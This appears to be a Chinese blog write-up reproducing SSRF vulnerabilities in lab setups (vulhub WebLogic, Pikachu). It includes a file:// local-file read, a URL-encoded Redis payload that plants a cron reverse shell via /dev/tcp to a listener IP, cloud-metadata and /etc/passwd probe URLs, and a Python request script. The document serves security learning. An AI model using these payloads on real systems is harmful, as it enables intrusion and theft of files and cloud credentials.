ssrf漏洞之——漏洞复现

漏洞介绍
SSRF漏洞:SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由恶意访问者构造url,由服务端对此url发起请求的一个安全漏洞。
漏洞原理
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,并且没有对目标地址做过滤与限制,比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
一般情况下,SSRF访问的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
漏洞危害
1.对外网服务器所在的内网,本地进行端口扫描,获取一些服务的banner信息.
2.攻击运行在内网或本地的应用程序
3.对内网Web应用进行指纹识别
4.识别企业内部的资产信息攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)
5.利用file协议读取本地文件等
漏洞高危触发点
1.分享:通过URL地址分享网页内容
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:通过URL地址翻译对应文本的内容
4.图片加载与下载:通过URL地址加载或下载图片
5.图片、文章收藏功能
漏洞复现
1.利用ssrf漏洞读取本地文件
原理
将页面请求的url改为指定本地文件路径的url
步骤
原url:
http://localhost/XXE-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/XXE-master/vul/ssrf/ssrf_info/info1.php
原url执行效果
在这里插入图片描述
修改后的url
http://localhost/XXE-master/vul/ssrf/ssrf_curl.php?url=file:///C:/Users/Administrator/Desktop/1.txt
修改后的url执行效果
在这里插入图片描述
1.txt被显示到页面
2.利用ssrf漏洞攻击内网redis数据库
环境
Redis数据库4.0版本、10.0.x版本的weblogic服务器
原理
利用weblogic服务器的ssrf漏洞发送HTTP请求给Redis数据库,再利用Redis数据库4.0版本内网的未授权访问漏洞getshell
步骤
1.打开Ubuntu虚拟机,安装vulhub漏洞环境
在这里插入图片描述
2.进入vulhub-master/weblogic/ssrf目录,输入docker-compose up -d启动环境
在这里插入图片描述
3.物理机访问 http://192.168.16.131:7001/uddiexplorer/SearchPublicRegistries.jsp,192.168.16.131为vulhub的ip
在这里插入图片描述
4.输入一个值Bp抓包
在这里插入图片描述
5.通过修改post值里的url请求为指定服务器ip,探测内网中的redis服务器ip(通过6379端口检查),http://172.22.0.2:6379成功返回结果
在这里插入图片描述
6.发送三条redis命令,即可将弹shell的脚本写入/etc/crontab,之后将shell发送到指定的ip的一个端口,ip可自己更改,之后在192.168.16.131上使用nc监听4444端口,输入nc -lvvp 4444 开启监听
Url编码后的redis命令:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.16.131%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

发送命令:
将url编码后的命令放到redis服务器的ip后(http://172.22.0.2:6379/命令),替换url发送,过一会nc处就会自动弹出一个控制172.22.0.2:6379的shell
在这里插入图片描述
使用nc开启4444端口监听:控制172.22.0.2:6379的shell弹出
在这里插入图片描述

### 关于Pikachu SSRF漏洞复现步骤 SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种攻击技术,允许攻击者通过服务器发起恶意构造的HTTP请求。以下是基于Pikachu环境中的SSRF漏洞复现步骤和利用教程: #### 1. 环境搭建 确保已正确安装并配置Pikachu漏洞学习平台。访问相关模块时,请确认以下条件: - 已启用SSRF模块。 - 确保目标服务器能够访问外部网络或本地服务。 #### 2. 分析漏洞点 在Pikachu的SSRF模块中,通常存在一个输入框,用于指定URL地址。该输入框未对用户提交的URL进行严格校验,导致可以构造恶意URL以访问内网资源或其他敏感接口[^4]。 #### 3. 构造恶意URL SSRF漏洞的核心在于构造特殊的URL来绕过限制。常见的测试方法包括: - 访问本地回环地址:`http://127.0.0.1` 或 `http://localhost` - 使用文件协议读取本地文件:`file:///etc/passwd` 或 `file:///C:/Windows/win.ini` - 测试云元数据服务:`http://169.254.169.254/latest/meta-data/`(适用于AWS等环境) 例如,在Pikachu环境中,尝试访问以下URL以验证是否存在SSRF漏洞: ```plaintext http://127.0.0.1:8080/index.php ``` #### 4. 利用漏洞 一旦确认存在SSRF漏洞,可以根据实际需求选择不同的攻击方式: - **读取敏感文件**:通过`file://`协议读取系统文件,如`/etc/passwd`或`C:\Windows\win.ini`。 - **访问内网服务**:尝试连接内网中的其他服务,如数据库、Redis等。 - **获取云元数据**:如果目标服务器运行在云环境中,可以通过访问元数据API获取临时凭证[^4]。 示例代码如下: ```python import requests url = "http://<pikachu-ip>/vul/ssrf/ssrf.php" # 替换为实际URL payload = { "url": "http://127.0.0.1:8080/index.php" # 构造恶意URL } response = requests.post(url, data=payload) print(response.text) ``` #### 5. 验证结果 成功利用SSRF漏洞后,可能会返回以下内容: - 目标服务器上的敏感信息。 - 内网服务的响应数据。 - 云元数据API返回的临时凭证。 --- ### 注意事项 - 在实际操作中,请确保拥有合法授权,避免非法渗透测试。 - 复现漏洞仅限于学习和研究目的,不得用于非法活动。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值